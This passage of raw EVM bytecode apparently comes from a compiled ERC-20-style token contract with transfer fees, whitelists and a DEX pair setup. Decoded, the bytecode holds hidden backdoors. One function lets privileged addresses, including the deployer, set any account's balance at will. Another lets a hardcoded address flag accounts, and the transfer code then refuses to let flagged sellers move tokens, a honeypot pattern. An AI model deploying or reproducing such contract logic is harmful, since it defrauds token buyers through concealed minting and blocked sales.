fffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601154620006f8601054600f5462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6018819055506200074b6014546200073760135460125462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b6019819055506200078a6017546200077660165460155462000cde60201b6200282d1790919060201c565b62000cde60201b6200282d1790919060201c565b601a81905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620009b362000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507382adb4eb71316f7ed89187f6dd4bf2942c6547ed600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507382adb4eb71316f7ed89187f6dd4bf2942c6547ed600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614bb1620012d46000396000818161119201526111be0152614bb16000f3fe6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111f36111e27f0000000000000000000000000000000000000000000000000000000000000000611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f5